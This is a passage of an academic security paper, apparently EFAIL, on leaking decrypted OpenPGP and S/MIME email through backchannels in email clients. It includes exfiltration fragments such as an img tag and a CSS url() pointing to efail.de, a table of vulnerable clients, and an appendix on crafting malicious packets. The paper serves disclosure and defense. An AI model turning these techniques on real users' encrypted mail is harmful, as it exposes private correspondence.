We measured the complexity to guess the first 11 bytesof the first compressed plaintext block in two scenar-ios: (1) with OpenPGP-encrypted password-reset emailsfrom facebook and (2) by simulating the standard en-cryption process with GnuPG with the enron dataset con-taining 500,000 real world emails.

Our approach was as follows: in case of the facebookemails, we build an email generator to generate 100,000password reset emails. This emails were generated basedon a comparison of real password reset emails and wereindistinguishable from the real emails. We then usedGnuPG in its default configuration to encrypt all emails.In the next step, we removed the encryption layer to ob-tain the compressed plaintext only. We then groupedeach email by its beginning 11 bytes (see Table 2). Themost often observed starting sequence made up 31% ofall facebook emails. The second most frequent startingbytes made up 8%. This means, that by sending roughlytwo emails with exactly this starting bytes, we can break39% of all Facebook mails.

The measurements on the Enron dataset had a highervariance, with approx. 7% of the most often found start-ing bytes, and 2% of the second most often found startingbytes. The results are shown in Table 3. This means thatwith two emails approx. 9% of Enron, or “real world”,emails can be exfiltrated.

5This is not a hard requirement and other exploitation techniquesmay improve on this.

9

compressed plaintext

<img

exfiltrationfragment Pc1

src=“efail.de/

exfiltrationfragment Pc2

random plaintext

af 02 78 9c ... a3 ...

OpenPGP structurefragment Pc0

(a)

<img src=“efail.de/ ? ? ? ? ? ? ? ?af 02 78 9c ... a3 ... ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? …B1 B2 B3 B4

(d)(e) af 02 78 9c ... a3 ... <img src=“efail.de/

…B1 B2 B3 B4

backreferences

Uncompressed segmentwith fragments

Compressed segmentwith backreferences

Compressed packet

random plaintext random plaintext

(b) (c)

Figure 7: Description of the internals of our attack on OpenPGP. Our goal is to leak the decrypted compressed plaintext(a). We exploit the CFB mode to construct correct OpenPGP structure with exfiltration fragments (b) and a segmentcontaining backreferences (c). We then order these fragments using CFB (d). The resulting decompression step withbackreferences concatenates these fragments in a way that the compressed plaintext is finally leaked to efail.de(e). All operations are performed on encrypted data.

nth most frequent start sequences frequency (%) cumulated (%)

1 a302789c8d8f4b4ec3400c 6.61 6.612 a302789ced90c16e133110 2.21 8.823 a302789c7590b14ec33010 0.66 9.48

· · ·500 a302789c4d90cb8ed34010 0.03 40.99

· · ·2635 a302789ced90d16ed33014 0.03 100.00

Table 3: Start sequences of approx. 500,000 emails fromthe enron email data set sorted by frequency. 2635 differ-ent beginnings were observed in total with the 500 mostfrequent sequences accounting for approx. 41% of themails.

Although 500 guesses are very few in a cryptographicsense, the requirement to open 500 emails makes ourattacks hardly practical. However, this constraint canbe relaxed, because MIME allows to send multipleMIME parts per email. Using the multipart/mixedcontent-type, multiple guesses can be embedded into asingle email. We measured how many parts are allowedper email and found that up to 500 parts are realistic inpopular email clients. To conclude: we expect that exfil-tration is possible for 40% of all emails by sending onlya single email. If, however, exfiltration does not work onthe first try, an attacker can send additional emails, alsoover multiple days to stay stealthy.

6 Exfiltration channels in email clients

Backchannels in email clients are known as privacy risks,but there is no comprehensive overview yet. We per-formed an analysis of existing backchannels by system-atically testing 48 clients and give the complete resultsin Appendix D. Note that 13 of the tested clients doeither not support encryption at all or we could not getthe OpenPGP or S/MIME modules to work and there-

fore could not test whether backchannels can be used forexfiltration. This distinction is important because someemail clients behave differently for encrypted and unen-crypted messages. For example, HTML content that canbe used to load external images in unencrypted mails isusually not interpreted for deprecated PGP/INLINE mes-sages. On the other hand, for three clients we wereable to bypass remote content blocking simply by en-crypting the HTML email containing a simple <imgsrc="..."> tag.

Table 4 shows the 35 remaining clients. An attackercan exploit 23 S/MIME email clients out of which eightrequire either a MitM attacker or user interaction likeclicking on a link or explicitly allowing external images.17 S/MIME clients allow off-path exfiltration channelswith no user interaction.

From the 35 email clients, 28 support OpenPGP and10 allow off-path exfiltration channels with no user inter-action. Five clients allow SEIP ciphertexts with strippedMDC and ignore wrong MDCs if they exist. Six clientssupport SE ciphertexts, which allow no integrity protec-tion at all. Three clients – which show OpenPGP mes-sages as plain text only – are secure against automatedbackchannels, but are still vulnerable to backchannelsthat require more complex user interaction.

6.1 Web content in email clients

HTML. The most prominent form of HTML contentare images. Of the tested 48 email clients, 13 loadexternal images by default. For ten of them, this canbe turned off whereas three clients have no option toblock remote content. All other clients block exter-nal images by default or explicitly ask the user beforedownloading. We analyzed all HTML elements thatcould potentially bypass the blocking filter and triggera backchannel using a comprehensive list of HTML4,HTML5 and non-standard HTML elements that allow

10

OS Client S/MIME PGP

-MDC +MDC SEW

indo

ws Outlook 2007 ∠ ∠ ∠ √

Outlook 2010 ∠ √ √ √

Outlook 2013 ⊥ √ √ √

Outlook 2016 ⊥ √ √ √

Win. 10 Mail ∠ – – –Win. Live Mail ∠ – – –The Bat! ⊥ √ √ √

Postbox ∠ ∠ ∠ ∠eM Client ∠ √ ∠ √

IBM Notes ∠ – – –

Lin

ux Thunderbird ∠ ∠ ∠ ∠Evolution ∠ √ √ √

Trojita ∠ √ √ √

KMail ⊥ √ √ √

Claws √ √ √ √

Mutt √ √ √ √

mac

OS Apple Mail ∠ ∠ ∠ ∠

MailMate ∠ √ √ √

Airmail ∠ ∠ ∠ ∠

iOS Mail App ∠ – – –

Canary Mail – √ √ √

And

roid K-9 Mail – √ √ √

R2Mail2 ∠ √ ∠ √

MailDroid ∠ √ ∠ √

Nine ∠ – – –

Web

mai

l United Internet – √ √ √

Mailbox.org – √ √ √

ProtonMail – √ √ √

Mailfence – √ √ √

GMail ∠ – – –

Web

app Roundcube – √ √ ∠

Horde IMP ⊥ √ ∠ ∠AfterLogic – √ √ √

Rainloop – √ √ √

Mailpile – √ √ √

∠ Exfiltration (no user interaction) √ No exfiltration channel⊥ Exfiltration (with user interaction) – Encryption not supported

Table 4: Exfiltration channels for various email clientsfor S/MIME, PGP SEIP with stripped MDC (-MDC),PGP SEIP with wrong MDC (+MDC), and PGP SEpackets.

including URIs. For each element-attribute combina-tion, links were built using a variety of well-known6 andunofficial7 URI schemes based on the assumption thathttp:// links may be blacklisted by a mail client whileothers might be allowed. We added specific link/metatags in the HTML header. In addition, we tested againstthe vectors from the Email Privacy Tester8 project andthe Cure53 HTTPLeaks9 repository. This extensive listof test-cases allowed us to bypass external content block-ing in 22 email clients.

Cascading Stlye Sheets (CSS). Most mail clients

6https://www.w3.org/wiki/UriSchemes7https://github.com/Munter/schemes8https://www.emailprivacytester.com/9https://github.com/cure53/HTTPLeaks

allow CSS declarations to be included in HTMLemails. Based on the CSS2 and CSS3 standardswe assembled an extensive list of properties thatallow included URIs, like background-image:url("http://efail.de"). These allowed by-passing remote content blocking on 11 clients.JavaScript. We used well-known Cross Site Scriptingtest vectors10,11 and placed them in various header fieldslike Subject: as well as in the mail body. We identi-fied five mail clients which are prone to JavaScript exe-cution, allowing the construction of particularly flexiblebackchannels.

6.2 S/MIME specific backchannels

OCSP requests. Mail clients can use the Online Cer-tificate Status Protocol (OCSP) to check the validity ofX.509 certificates that are included in S/MIME signa-tures. OCSP works as follows: the client decrypts theemail, parses the certificate and obtains the URL of theOCSP-responder. The client then sends the serial num-ber of the certificate via HTTP POST to the responder.

Using this channel for data exfiltration requires re-placing the URL ciphertext blocks with other cipher-text blocks. In typical scenarios this is complicated bytwo factors: One, the OCSP-responder’s URL is partof a larger base64 encoded data structure. Therefore,an attacker must be careful not to destroy the base64-decoding process by carefully selecting or masking theplaintext. Two, if a valid certificate chain is used,the OCSP-responder’s URL is cryptographically signedwhich makes this backchannel unusable as long as thesignature is properly checked. Eleven clients performedOCSP requests for valid certificates from a trusted CA.CRL requests. Similar to OCSP, Certificate RevocationLists (CRLs) are used to obtain recent status informationabout a certificate. Unlike OCSP, a CRL is periodicallyrequested and contains a list of multiple serial numbersof revoked certificates. Requesting the list involves anHTTP request to the server holding the CRL and the CRLbackchannel is very similar to the OCSP backchannel.Ten clients performed CRL requests for valid certificatesfrom a trusted CA, one client even connected to an un-trusted, attacker-controlled web server.Intermediate certificates. S/MIME is built around theconcept of hierarchical trust and requires following a cer-tificate chain back to a trusted root. If the certificateis incomplete and intermediate certificates are missing,the chain can not be verified. To remedy this, a CAmay augment certificates with a URL to the next linkin the chain. A client can query this URL to obtain

10https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

11http://html5sec.org

11

the missing certificates. These requests for intermedi-ate certificates can be used as a backchannel. Like thebackchannels via OCSP and CRL requests, this is madedifficult by the base64 encoding. However, the signaturecan only be verified after the intermediate certificate wasobtained. This makes exploitation of this channel mucheasier. Seven clients requested intermediate certificatesfrom an attacker-controlled LDAP and/or web server.

6.3 OpenPGP specific backchannels

An email client receiving a PGP-signed message maytry to automatically download the corresponding publickey. There are various protocols to achieve this, for ex-ample DANE [36], HKP [37] or LDAP [38] [39]. Weobserved one client trying to obtain the public key fora given key ID. This can potentially be abused by mal-leability gadgets to leak four bytes of plaintext. We alsoapplied 33 PGP-related email headers that refer to publickeys (e.g. X-PGP-Key: URI), but none of the testedclients performed a request to the given URL, thereforethe issue is only relevant to a MitM attacker.

6.4 External attachments

The message/external-body content type allowsreferences to external resources as MIME parts instead ofdirectly including within the mail. This is a known tech-nique to bypass virus scanners running on a mail gate-way. However, there are various proprietary variants ofthis header, for which one email client automatically per-formed a DNS request for the external attachment’s host-name. It is noteworthy that this was done automatically,the email did not have to be explicitly opened.

6.5 Email security gateways

Email security gateways are typically used in large en-terprises to secure the outgoing communication withS/MIME or OpenPGP. This ensures that employees donot have to install any extensions or generate keys, andtheir their emails are automatically encrypted and de-crypted.

Our attacks are in general applicable to scenarios withemail security gateways as well. In fact, preventing ourattacks in these scenarios makes our attacks even morechallenging. The reason is that a gateway is only usedto decrypt the incoming emails and has no knowledgeof the email processing clients. We were not able tosystematically analyze various security gateways as weperformed our analyses for email clients. The reason isthat these gateways are not easily accessible and that theycan be used in different configurations depending on thecomplexity of the used scenario. Nevertheless, we had achance to test two appliances. The configuration of the

first one was insecure and we could find a direct exfil-tration exploit. The second gateway was configured cor-rectly and we were not able to find any direct exploits inthe limited time we had for the evaluation. All decryptedemails were only forwarded in plaintext. If more emailparts were used, only the first part was displayed. Thefollowing parts were converted to attachments.

7 Mitigations

Backchannels are critical, because they provide a wayto instantly obtain the plaintext of an email. Reliablyblocking all backchannels, including those not based onHTML, would prevent all the attacks as presented. How-ever, it does not fix the underlying vulnerability in theS/MIME and OpenPGP standards. In a broader sce-nario, an attacker could also inject binary attachmentsor modify already attached ones, such that exfiltration isdone later even if no email client is involved. Therefore,blocking network requests is only a short-term solution.In the following section we present long-term mitigationswhich require updating the standards.

7.1 Countering direct exfiltration attacks

Same origin policy for email. We showed that the com-plexity of HTML, CSS and MIME makes it possible tomix encrypted and plaintext contents. If an exfiltrationchannel is available, this can lead to direct leaks of de-crypted plaintexts, independently of whether the cipher-text is authenticated or not. In web scenarios, a typicalprotection against these kinds of attacks is same originpolicy [40]. Similar protection mechanisms could be ap-plied in email scenarios as well. These should enforcethat email parts with different security properties are notcombined.

However, this mitigation is hard to enforce in everyscenario. For example, email gateways typically usedin companies process encrypted emails and forward theplain data to email clients used by the employees. Emailclients have no knowledge whether the original messagewas encrypted or not. In such scenarios this countermea-sure must be combined with different techniques. An ef-fective mitigation for an email gateway would be to dis-play only the first email body part and convert furtherbody parts into attachments.

7.2 Countering malleability gadget attacksThe S/MIME standard does not provide any effective se-curity measures countering our attacks. OpenPGP pro-vides Message Modification Codes and we could observeseveral OpenPGP implementations that were not vulner-able to our attacks because they dropped ciphertexts withinvalid MDCs. Unfortunately, the OpenPGP standard is

12

not clear about handling MDC failures. The standardonly vaguely states that any failures in the MDC check“MUST be treated as a security problem” and “SHOULDbe reported to the user” [30]. Furthermore, the stan-dard still supports SE packets which offer no integrityprotection. From this perspective, the security vulnera-bilities observed in GnuPG and Enigmail are standard-conforming, as GnuPG returns an error code and printsout a specific error message. Our experiments showedthat different clients deal differently with MDC failures(see Table 4).

In the long-term, updating the S/MIME and OpenPGPstandards is inevitable to meet modern cryptographicbest practices and introduce authenticated encryption al-gorithms.Authenticated encryption (AE). Our attack would beprevented if the email client detects changes in the ci-phertext during decryption and prevents it from beingdisplayed. On a first thought, making an AE block ciphersuch as AES-GCM the default, would prevent the attack.Although CMS defines an AuthenticatedData type [41],S/MIME’s current specification does not. There were ef-forts to introduce authenticated encryption in OpenPGPwhich is, however, expired [42].

By introducing these algorithms, the standard wouldneed to address backwards compatibility attacks andhandling of streaming-based decryption.Solving backwards compatibility problems. In a back-wards compatibility attack an attacker takes a secure au-thenticated ciphertext (e.g., AES-GCM) and forces thereceiver to use a weak encryption method (e.g., AES-CBC) [43]. To prevent these attacks, usage of differentkeys for different cryptographic primitives has to be en-forced. For example, the decrypted key can be used as aninput into a key derivation function KDF together withthe algorithm string. This would enforce different keysfor different algorithms:

kAES-CBC = KDF(k,“AES-CBC”) (1)kAES-GCM = KDF(k,“AES-GCM”) (2)

Although an email client could use S/MIMEs capabili-ties list to promote more secure ciphers in every signa-ture, an attacker can still forward emails she obtained inthe past. The email client may then (a) process the oldemail and stay susceptible to exfiltration attacks or (2) donot process the email and break downgrade compatibil-ity.Streaming-based decryption. OpenPGP uses stream-ing, i.e. it passes on plaintext parts during decryption ifthe ciphertext is large. This feature collides with our re-quest for AE ciphers because most AE ciphers also sup-port streaming. In the event that the ciphertext was mod-ified, it will pass on already decrypted plaintext, along

with an error code at the end. If these plaintext parts areinterpreted, exfiltration channels may arise despite usingan AE cipher. We think it is safe to turn off streaming inthe email context because the size of email ciphertexts islimited and can be handled by modern computers. Other-wise, if the ciphertext size is a concern, the email shouldbe split into chunks which are encrypted and authenti-cated so that no streaming is needed. A cryptographicapproach to solve this problem would be to use a modeof operation which does not allow for decrypting the ci-phertext before its authenticity is validated. For example,AES-SIV could be used [44]. Note that AES-SIV worksin two phases and thus it does not offer such performanceas authenticated encryption schemes (e.g., AES-GCM).

8 Related work

This section gives a brief overview on related work. Anextended version is in Appendix B.

In 2000 Katz and Schneier described a chosen-ciphertext attack [45] that blinds an uncompressed ci-phertext, which they send in a spoofed email to the vic-tim. They then hope that the victim replies to the emailwith the blinded ciphertext, that they can then unblind.This attack requires a cooperating victim and does notwork against compressed plaintexts.

In 2001 Davis described “surreptitious forwarding”attacks and their applicability to S/MIME, PKCS#7,MOSS, PEM, PGP, and XML [46] in which an attackercan re-sign or re-encrypt the original email and forwardit onto a third person.

In 2002 Perrin presented a downgrade attack, whichremoves the integrity protection turning a SEIP into a SEdata packet [32]. In 2015, Magazinius showed that thisdowngrade attack is applicable in practice [33].

In 2005 Mister and Zuccherato described an adaptive-chosen-ciphertext attack [34] exploiting OpenPGP’s in-tegrity quick check. The attacker need 215 queries to de-crypt two plaintext bytes per block. The attack requires ahigh number of queries, which makes the attack unprac-tical for email encryption.

Strenzke [31] improved one of Davis’ attacks andnoted that an attacker can strip a signature and re-sign theencrypted email with his private key. He sends the emailto the victim who hopefully responds with an email in-cluding the decrypted ciphertext.

Many attacks abuse CBC’ malleability property to cre-ate chosen-ciphertext attacks [14–16]. Practical attackshave been shown against IPSec [17, 18], SSH [19, 20],TLS [21–24], or XML Encryption [25]. Overall, the at-tacker uses the server as an oracle. This is not possible intypical OpenPGP and S/MIME scenarios, since users areunlikely to open many email without getting suspicious.

In 2005, Fruwirth, the author of the Linux Unified Key

13

Setup (luks), wrote a compendium of attacks and inse-cure properties of CBC [47] in the hard disk encryptioncontext. Later in 2013, Lell presented a practical exploitfor CBC malleability against a Ubuntu 12.04 installationthat is encrypted using luks [48] with CBC. An attackvery similar to Lell’s was described in 2016 in the Own-cloud server side encryption module [49].

In 2017 Cure53 analyzed the security of Enig-mail [50]. The report shows that surreptitious forwardingis still possible and that it is possible to spoof OpenPGPsignatures. No plaintext exfiltration attacks have beenconsidered.

Acknowledgements

The authors thank Marcus Brinkmann and Kai Michaelisfor insightful discussions about GnuPG, Lennart Grahl,Yves-Noel Weweler and Marc Dangschat for their earlywork around x509 backchannels, Hanno Bock for hiscomments on AES-SIV and our attack in general, andTobias Kappert for countless remarks regarding the de-flate algorithm.

References

[1] The Radicati Group, Inc., “Email statistics report,2017 - 2021,” Feb. 2017.

[2] Wikileaks, “Vp contender sarah palin hacked,”Sept. 2008. https://wikileaks.org/wiki/VP_contender_Sarah_Palin_hacked.

[3] Wikileaks, “Sony email archive,” Apr. 2015.https://wikileaks.org/sony/emails/.

[4] Wikileaks, “Hillary clinton email archive,”Mar. 2016. https://wikileaks.org/clinton-emails/.

[5] Wikileaks, “The podesta emails,” Mar. 2016.https://wikileaks.org/podesta-emails/.

[6] K. Thomas, F. Li, A. Zand, J. Barrett, J. Ranieri,L. Invernizzi, Y. Markov, O. Comanescu, V. Er-anti, A. Moscicki, D. Margolis, V. Paxson, andE. Bursztein, eds., Data breaches, phishing, or mal-ware? Understanding the risks of stolen creden-tials, 2017.

[7] E. Bursztein, B. Benko, D. Margolis, T. Pietraszek,A. Archer, A. Aquino, A. Pitsillidis, and S. Sav-age, “Handcrafted fraud and extortion: Manual ac-count hijacking in the wild,” in IMC ’14 Proceed-ings of the 2014 Conference on Internet Measure-

ment Conference, (1600 Amphitheatre Parkway),pp. 347–358, 2014.

[8] M. Green, “What’s the matter withpgp?,” Aug. 2014. https://blog.cryptographyengineering.com/2014/08/13/whats-matter-with-pgp/.

[9] M. Marlinspike, “Gpg and me,” Feb. 2015.https://moxie.org/blog/gpg-and-me/.

[10] F. Valsorda, “I’m throwing in the towel on PGP,and I work in security,” Dec. 2016. https://arstechnica.com/information-technology/2016/12/op-ed-im-giving-up-on-pgp/.

[11] Amnesty International, “Verschlusselte Kom-munikation via PGP oder S/MIME.” https://www.amnesty.de/keepitsecret. Ac-cessed: 2018-02-22.

[12] Electronic Frontier Foundation, “How to: Use PGPfor Windows.” https://ssd.eff.org/en/module/how-use-pgp-windows. Accessed:2018-02-22.

[13] United Nations Educational Scientific and Cul-tural Organization and Reporters Without Borders,Safety Guide for Journalists – a Handbook for Re-porters in High-Risk Environments. CreateSpaceIndependent Publishing Platform, 2016.

[14] S. Vaudenay, “Security flaws induced by cbcpadding - applications to ssl, ipsec, wtls ..,” inEUROCRYPT (L. R. Knudsen, ed.), vol. 2332 ofLecture Notes in Computer Science, pp. 534–546,Springer, 2002.

[15] K. Paterson and A. Yau, “Padding Oracle Attackson the ISO CBC Mode Encryption Standard,” inTopics in Cryptology – CT-RSA 2004, vol. 2964of Lecture Notes in Computer Science, SpringerBerlin / Heidelberg, Feb. 2004.

[16] C. J. Mitchell, “Error oracle attacks on cbc mode:Is there a future for cbc mode encryption?,” in In-formation Security (J. Zhou, J. Lopez, R. H. Deng,and F. Bao, eds.), (Berlin, Heidelberg), pp. 244–258, Springer Berlin Heidelberg, 2005.

[17] J. P. Degabriele and K. G. Paterson, “Attackingthe IPsec standards in encryption-only configura-tions,” in IEEE Symposium on Security and Pri-vacy, pp. 335–349, IEEE Computer Society, 2007.

14

[18] J. P. Degabriele and K. G. Paterson, “On the(in)security of IPsec in MAC-then-encrypt con-figurations,” in ACM Conference on Computerand Communications Security (E. Al-Shaer, A. D.Keromytis, and V. Shmatikov, eds.), pp. 493–504,ACM, 2010.

[19] M. R. Albrecht, K. G. Paterson, and G. J. Wat-son, “Plaintext recovery attacks against ssh,” inProceedings of the 2009 30th IEEE Symposium onSecurity and Privacy, SP ’09, (Washington, DC,USA), pp. 16–26, IEEE Computer Society, 2009.

[20] M. R. Albrecht, J. P. Degabriele, T. B. Hansen, andK. G. Paterson, “A surfeit of ssh cipher suites,” inProceedings of the 2016 ACM SIGSAC Conferenceon Computer and Communications Security, CCS’16, (New York, NY, USA), pp. 1480–1491, ACM,2016.

[21] N. J. A. Fardan and K. G. Paterson, “Lucky thir-teen: Breaking the tls and dtls record protocols,”in 2013 IEEE Symposium on Security and Privacy,pp. 526–540, May 2013.

[22] M. R. Albrecht and K. G. Paterson, “Lucky mi-croseconds: A timing attack on amazon’s s2n im-plementation of tls,” in Advances in Cryptology –EUROCRYPT 2016 (M. Fischlin and J.-S. Coron,eds.), (Berlin, Heidelberg), pp. 622–643, SpringerBerlin Heidelberg, 2016.

[23] G. Irazoqui, M. S. Inci, T. Eisenbarth, and B. Sunar,“Lucky 13 strikes back,” in Proceedings of the 10thACM Symposium on Information, Computer andCommunications Security, ASIA CCS ’15, (NewYork, NY, USA), pp. 85–96, ACM, 2015.

[24] J. Somorovsky, “Systematic fuzzing and testingof tls libraries,” in Proceedings of the 2016 ACMSIGSAC Conference on Computer and Communi-cations Security, CCS ’16, (New York, NY, USA),pp. 1492–1504, ACM, 2016.

[25] T. Jager and J. Somorovsky, “How To Break XMLEncryption,” in The 18th ACM Conference on Com-puter and Communications Security (CCS), Oct.2011.

[26] P. Resnick, “Internet message format,” October2008. RFC5322.

[27] N. Freed and N. Borenstein, “Multipurpose internetmail extensions (mime) part one: Format of internetmessage bodies,” November 1996. RFC2045.

[28] B. Ramsdell and S. Turner, “Secure/multipurposeinternet mail extensions (s/mime) version 3.2 mes-sage specification,” January 2010. RFC5751.

[29] R. Housley, “Cryptographic message syntax(cms),” September 2009. RFC5652.

[30] J. Callas, L. Donnerhacke, H. Finney, D. Shaw, andR. Thayer, “Openpgp message format,” November2007. RFC4880.

[31] F. Strenzke, “Improved message takeover at-tacks against s/mime,” Feb. 2016. https://cryptosource.de/posts/smime_mta_improved_en.html.

[32] “Openpgp security analysis,” Sept. 2002. https://www.ietf.org/mail-archive/web/openpgp/current/msg02909.html.

[33] J. Magazinius, “Openpgp seip downgrade at-tack,” Oct. 2015. http://www.metzdowd.com/pipermail/cryptography/2015-October/026685.html.

[34] S. Mister and R. Zuccherato, “An attack on cfbmode encryption as used by openpgp.” CryptologyePrint Archive, Report 2005/033, 2005. https://eprint.iacr.org/2005/033.

[35] P. Deutsch, “Deflate compressed data format speci-fication version 1.3,” May 1996. RFC1951.

[36] P. Wouters, “Dns-based authentication of namedentities (dane) bindings for openpgp,” August 2016.RFC7929.

[37] D. Shaw, “The OpenPGP HTTP Keyserver Pro-tocol (HKP),” Internet-Draft draft-shaw-openpgp-hkp-00, Internet Engineering Task Force, Mar.2003. Work in Progress.

[38] G. Good, “The ldap data interchange format (ldif) -technical specification,” June 2000. RFC2849.

[39] “How to setup an openldap-based pgp key-server.” https://wiki.gnupg.org/LDAPKeyserver.

[40] “Same origin policy,” Jan. 2010. https://www.w3.org/Security/wiki/Same_Origin_Policy.

[41] R. Housley, “Cryptographic message syntax(cms) authenticated-enveloped-data content type,”November 2007. RFC5083.

[42] “Modernizing the openpgp message format,”2015. https://tools.ietf.org/html/draft-ford-openpgp-format-00.

15

[43] T. Jager, K. G. Paterson, and J. Somorovsky, “OneBad Apple: Backwards Compatibility Attacks onState-of-the-Art Cryptography,” in Network andDistributed System Security Symposium (NDSS),February 2013.

[44] D. Harkins, “Synthetic initialization vector (siv) au-thenticated encryption using the advanced encryp-tion standard (aes),” October 2008. RFC5297.

[45] J. Katz and B. Schneier, “A chosen ciphertext at-tack against several e-mail encryption protocols,” inProceedings of the 9th Conference on USENIX Se-curity Symposium - Volume 9, SSYM’00, (Berke-ley, CA, USA), pp. 18–18, USENIX Association,2000.

[46] D. Davis, “Defective sign & encrypt in s/mime,pkcs#7, moss, pem, pgp, and xml,” in Proceedingsof the General Track: 2001 USENIX Annual Tech-nical Conference, (Berkeley, CA, USA), pp. 65–78,USENIX Association, 2001.

[47] C. Fruhwirth, “New methods in hard disk en-cryption,” July 2005. http://clemens.endorphin.org/nmihde/nmihde-A4-ds.pdf.

[48] J. Lell, “Practical malleability attack against cbc-encrypted luks partitions,” 2013.

[49] H. Bock, “Pwncloud – bad crypto in theowncloud encryption module,” Apr. 2016.https://blog.hboeck.de/archives/880-Pwncloud-bad-crypto-in-the-Owncloud-encryption-module.html.

[50] “Pentest-report enigmail,” Dec. 2017.https://enigmail.net/download/other/Enigmail%20Pentest%20Report%20by%20Cure53%20-%20Excerpt.pdf.

[51] K. Jallad, J. Katz, and B. Schneier, “Implementa-tion of chosen-ciphertext attacks against pgp andgnupg,” in Information Security (A. H. Chan andV. Gligor, eds.), (Berlin, Heidelberg), pp. 90–101,Springer Berlin Heidelberg, 2002.

[52] D. Davis, “Sender authentication and thesurreptitious forwarding attack in cms ands/mime,” Aug. 2001. RFC draft, https://tools.ietf.org/html/draft-ietf-smime-sender-auth-00.

[53] “security fixes (kdf, mdc-¿mac)?,” Sept.2002. https://www.ietf.org/mail-archive/web/openpgp/current/msg02841.html.

16

A Details on attacking OpenPGP

We now give a more detailed explanation on our attacksfrom Section 5.3. We concentrate on the nested struc-ture of compressed OpenPGP packets. Note that we havemalleability gadgets which can be used to produce usefultext fragments (Pc0,Pc1,Pc2, . . .).

Compressed Packet CD1Uncompressed block U1Ignored Packet I1Compressed Packet CD2Uncompressed block U2Literal packet LD1Pc1||r1||Pc2||r2||Pc3|| . . . ||Pcn−1||rn−1

Uncompressed block U3Pcn||rn

Figure 8: First part of the created plaintext. OpenPGPpackets are denoted by a solid line. Uncompressed andcompressed deflate segments are denoted by a dashedline.

We start by opening a new uncompressed segment U1in a compressed data packet CD1 at the start of the mes-sage (see Figure 8). Inside the uncompressed segmentwe start a new experimental packet I1 whose content isignored by common OpenPGP clients (e.g., in practicethis could be an experimental packet with tag 60). Weuse I1 to insert our plaintext fragments. Inside this ig-nored packet we create another compressed data packetCD2 to refer to later. Note that this packet will not beparsed and is not valid at this point. It is merely used tobuild a correct packet later. Inside CD2 we open anotheruncompressed segment U2 that will hold our exfiltrationcode fragments (Pc0,Pc1,Pc2, . . .). As we use malleabil-ity gadgets to create these fragments they will be inter-leaved with 16 byte random data gi. The first bytes in theuncompressed segment U2 contain the header structurefor a literal data packet LD1. This is because LD1 shouldbe the actual packet output after decryption and decom-pression. We use the fragments Pci later to prepend textto the original email (e.g., <img src="efail.de/).The following segment U3 enables us to append text tothe original email, here: Tn. This could be, for example,a double quote with a closing HTML tag ">.

For now, we have prepared text fragments(Pc0,Pc1,Pc2, . . .) which can be used as email build-ing blocks. In the next step we are going to usebackreferences to construct the complete email andexfiltrate decrypted email plaintext. The constructedplaintext is shown in Figure 9. As multiple backrefer-ences (denoted by←) – one for each text fragment – areneeded and the amount of bytes needed easily exceedsthe 16 Bytes available in a malleability gadget they needto be split among multiple compressed segments (CSi).

Compressed (Fixed Huffman codes) block CS1B1 =← CD2toLD1|| ← Pc1

|| ← Pc2|| . . . || ← Pcm1

Uncompressed Block U4rn+1

Compressed (Fixed Huffman codes) block CS2B2 =← B1|| ← Pcm1+1|| . . . || ← Pcm2

Uncompressed Block U4rn+2...

Compressed (Fixed Huffman codes) block CSkBk−1 =← Bk−2|| . . . || ← Pcn−1

Uncompressed Block UkrkOriginal Mail m

Figure 9: Second part of the created plaintext uses back-references to construct the complete email.

Those segments are interleaved with uncompressedsegments, to hold the random data generated by theuse of malleability gadgets that would otherwise breakthe uncompressed segments by decrypting to invalidbackreferences. We use fixed Huffman codes as these donot need a long prefix.

To reassemble CD2 containing the uncompressed seg-ment U2 and therefore the literal data packet L2, we startby referencing these in B1 and appending the first textfragments. By backreferencing to the output of the lastcompressed segment at the beginning of each new com-pressed segment the constructed packet CD2 can be re-assembled. After the segment containing the last textfragment (CSk) of the prefix, the original email m is ap-pended. As the original email is assumed to be com-pressed, it can be inserted here without modification.

Finally, I1 is closed and a new compressed segment isstarted, reassembling CD2 by referencing the output ofBk−1, the original email m and the postfix Pcn. The re-sulting uncompressed email therefor contains the plain-text Pc1||Pc2|| . . . ||Pc(n−1)||m||Pcn. With this procedure itis possible to use the various backchannels by clever con-struction of the text fragments Pc1 to Pcn.

B Extended related workB.1 Insecure encryption schemes in email

protocolsIn 2000 Katz and Schneier described a chosen-ciphertextattack on email encryption protocols [45]. They pointedout that the malleability of encryption schemes used inPGP and other relevant protocols allows an attacker toperform subtle modifications to the ciphertext, whichwill garble its plaintext in way that the attackers can re-verse. The attacker then sends the blinded message tothe victim, who decrypts and views the email message,which consists of randomly looking data. The victimsuspects a benign transmission error and replies to theattacker together with the cited decrypted message, who

17

can reverse the modifications and gain the original plain-text. They found that the attack will fail in most caseswhen data is compressed before encryption [51]. Wedo not need any cooperation from the user other thandecrypting and opening the email. A vulnerable emailclient decrypts and interprets its content, which leaks theplaintext. Furthermore, we show that OpenPGP’s plain-text compression does not reliably stop the attack in prac-tical scenarios.

In 2005 Mister and Zuccherato described an adaptive-chosen-ciphertext attack on OpenPGP [34]. This attackexploits the malleability of the CFB encryption mode andOpenPGP’s integrity quick check used in the OpenPGPimplementation. The attacker needs 215 queries to de-crypt two plaintext bytes per block. Mister and Zuccher-ato described several potential attack scenarios. Theycame to the conclusion that because of the high num-ber of queries the attack was very unlikely in non-severbased scenarios.

In 2001 Davis described “surreptitious forwarding”attacks and their applicability to S/MIME, PKCS#7,MOSS, PEM, PGP, and XML [46]. The attacks exploitthe fact that the sender is not authenticated. A maliciousemail receiver can re-sign or re-encrypt the original emailand forward it to a third person. For example, in oneof his scenarios Alice signs and encrypts for Bob. Bobdecrypts the signed email and re-encrypts it for Charlie.In the end, Charlie believes Alice addressed the emaildirectly to him. He discussed several countermeasuresin his RFC draft [52], which was not finalized. Stren-zke [31] improved one of the S/MIME attacks by Davis.In his attack, the adversary intercepts a signed and en-crypted email sent from Alice to Bob. He cannot decryptthe email, but because of the CBC malleability he canstrip the encrypted signature. Then he can re-sign the en-crypted email with his private key and send it to Bob whowill likely respond with an email including the decryptedciphertext. All these attacks assume that the victim ac-tively responds or forwards the decrypted message.

In 2002 Perrin presented a downgrade attack on SEIPdata packets on the OpenPGP mailing list, which re-moves the integrity protection and turns a SEIP packetinto a SE data packet [32]. He also presented an effec-tive countermeasure which enforced usage of differentsymmetric keys in SE and SEIP packets [53]. The mail-ing list contributors decided that this is not necessary. In2015, Magazinius showed that Perrin’s downgrade attackis applicable in practice [33].

